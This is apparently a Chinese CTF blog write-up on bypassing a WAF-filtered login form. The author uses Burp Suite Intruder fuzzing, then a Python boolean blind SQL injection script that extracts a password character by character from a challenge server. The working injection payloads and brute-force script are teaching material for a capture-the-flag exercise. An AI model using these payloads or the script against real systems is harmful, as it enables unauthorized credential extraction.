利用 Burpsuite Fuzz 实现 SQL 注入

0x01 注入前分析

是个典型的登录框SQL注入题

图片描述

在源码上还有hint

图片描述

首先进行注入前的尝试,观察是否有报错情况,或者是有waf:

正常的输入,分2种情况:

  1. 用户名正确,显示密码错误password error

    图片描述

  2. 用户名错误,显示无此用户no such user!

    图片描述

猜测验证用户名和验证密码是分步进行的,语句如下:

select uname from user where uname='xxx'
select uname,pwd from user where uname='xxx' and pwd='xxx'

存在注入的情况,显示naive,证明是有waf的:

图片描述

简单测试了一下waf,发现过滤了or and union select from limit 以及空格,注释符,妈耶waf还挺严,之后不想通过手动测试,于是采用burpsuite进行Fuzz测试。

0x02 Burpsuite Fuzzing

Burpsuite Fuzzing主要是通过Burpsuite Intruder模块,这好比是一把枪,通过特定设置把子弹(payload)射向目标(target-site)

可是子弹从哪来?我们在这之前要做一些准备工作:

Fuzzdb:  https://github.com/fuzzdb-pro...

这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。

我们使用这个payload就可以了 /attack/sql-injection/detect/xplatform.txt

图片描述

然后打开Burpsuite,可以先开代理抓一个正常请求包,然后转到Intruder模块,进行如下操作:

  1. 选中positions选项卡,选中uname的值部分admin,然后点击右侧的add§,这样uname的值就会被标记为payload的加载位置,其余部分就不需要标记了。

    图片描述

  2. 选中payloads选项卡,点击图中所示的按钮加载刚刚提到的xplatform.txt,这样payload就被加载进去了。

    图片描述

  3. 选中options选项卡,设置请求线程数、重试次数、超时时间等等信息,不一一列举了。

    图片描述

  4. 最后点击上方菜单Intruder -> Start attack ,启动!

等待fuzz完成后,得到如下结果:

图片描述

根据返回包长度可以分辨不同的情况:202是password error,200是no such user!,还有189是naive

因此可以发现有可以利用的地方,第42个请求包的返回用户名正确,证明已经绕过waf。

假如并没有可以利用的payload,可以再观察189的包看看哪些字段是被ban掉的,从而找到可以利用的字段。结合前期手测的情况和fuzz的结果,可以判断:

可使用:# || && , ascii() left() right() length()

不可使用:空格 -- or and union select from limit mid() substr() substring()

构造payload如下,xxx为payload,当xxx为真时返回password error,而xxx为假时返回no such user,这就构成了一个bool型注入。

uname='||xxx||'&pwd=123

下一步就可以开始实施注入。

0x03 Blind Injection的自动化注入

这一步开始,我们就通过bool盲注进行爆破pwd字段,脚本跑起来

  1. 通过length()获得pwd字段长度

    for i in xrange(1,127):
        postdata = {
            'uname':"'||length(pwd)="+str(i)+"||'",
            'pwd':'123'
        }
        print i,postdata
        r = s.post(url=url,headers=header,data=postdata)
        if 'password' in r.text:
            print "get length!"
            return 

    最终获得length(pwd)=30

    当你把握不准的时候,想到hint的提示,通过 length(uname)=5验证你的payload,下面也一样。
  2. 由于mid() substr()被ban了,只能通过left() right()进行字符串截断,然后逐位爆破30位的pwd

    pwd = ''
    for i in xrange(0,30):
        for c in xrange(0x20,0x7f):
            postdata = {
                'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                'pwd':'123'
            }
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                pwd += chr(c)
                print i,pwd
                continue

    图片描述

    最后得到30位密码,登录进去,getflag

    PS:没有写多线程,爆破速度比较慢,之后考虑改进一下

    PPS:之后还要总结下各类函数组合使用方式,比如mid()=substr()=right(left())

    完整脚本如下:

    #coding=utf-8
    import requests 
    
    s = requests.session()
    s.keep_alive = False
    
    url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
    
    header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
    'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    def get_length():
        for i in xrange(1,127):
            postdata = {
                'uname':"'||length(pwd)="+str(i)+"||'",
                'pwd':'123'
            }
            print i,postdata
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                print "get length!"
                return 
    
    def get_pwd_char():
        pwd = ''
        for i in xrange(0,30):
            for c in xrange(0x20,0x7f):
                postdata = {
                    'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                    'pwd':'123'
                }
                r = s.post(url=url,headers=header,data=postdata)
                if 'password' in r.text:
                    pwd += chr(c)
                    print i,pwd
                    continue
    
    if __name__ == '__main__':
        get_length() #length is 30
        get_pwd_char() 

0x04 总结一下

  • 利用burpsuite进行fuzz测试,大大提高了测试效率,也能快速定位注入点,这方面在平时的赛题也比较实用,关键就在于找到好用的fuzz payload。
  • 灵活使用各类sql函数,找到没有被ban的函数进行构造从而实现爆破,如果遇到其他类型waf还要进行改写。
据说bugkuCTF有类似的一道题 SQL注入2,过去比较一下区别
  • 14
    点赞
  • 78
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
Burp Suite是一款常用的Web应用程序安全测试工具,其中的Fuzzing功能可以用于检测和利用SQL注入漏洞。SQL注入是一种常见的Web应用程序漏洞,攻击者可以通过构造恶意的SQL查询语句来绕过应用程序的身份验证和访问控制,甚至获取敏感数据。 在Burp Suite中使用Fuzzing功能进行SQL注入测试的步骤如下: 1. 配置目标:在Burp Suite中,选择要测试的目标应用程序,并配置代理设置,确保所有的流量都经过Burp Suite进行拦截和修改。 2. 构造注入点:在目标应用程序中找到可能存在SQL注入漏洞的参数或输入字段,并将其标记为注入点。可以使用Burp Suite的Intruder工具来自动识别和标记注入点。 3. 准备Payloads:准备一组恶意的SQL注入Payloads,这些Payloads将被插入到注入点中进行测试。Payloads可以包括常见的SQL注入语句、特殊字符、SQL函数等。 4. 配置Fuzzing:在Burp Suite的Intruder工具中,选择要进行Fuzzing的请求,并将注入点设置为Payload位置。将准备好的Payloads加载到Intruder中,并配置其他相关选项,如并发请求数、超时时间等。 5. 启动Fuzzing:启动Fuzzing过程,Burp Suite将自动发送带有不同Payloads的请求,并记录每个请求的响应。可以通过查看响应中的错误信息、时间延迟等来判断是否存在SQL注入漏洞。 6. 分析结果:根据Fuzzing的结果,分析每个请求的响应,查找异常或错误的迹象。如果发现响应中包含SQL错误信息、应用程序行为异常等,可能存在SQL注入漏洞。 需要注意的是,在进行SQL注入测试时,应该遵循合法和道德的原则,仅在授权范围内进行测试,并避免对生产环境造成任何损害。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值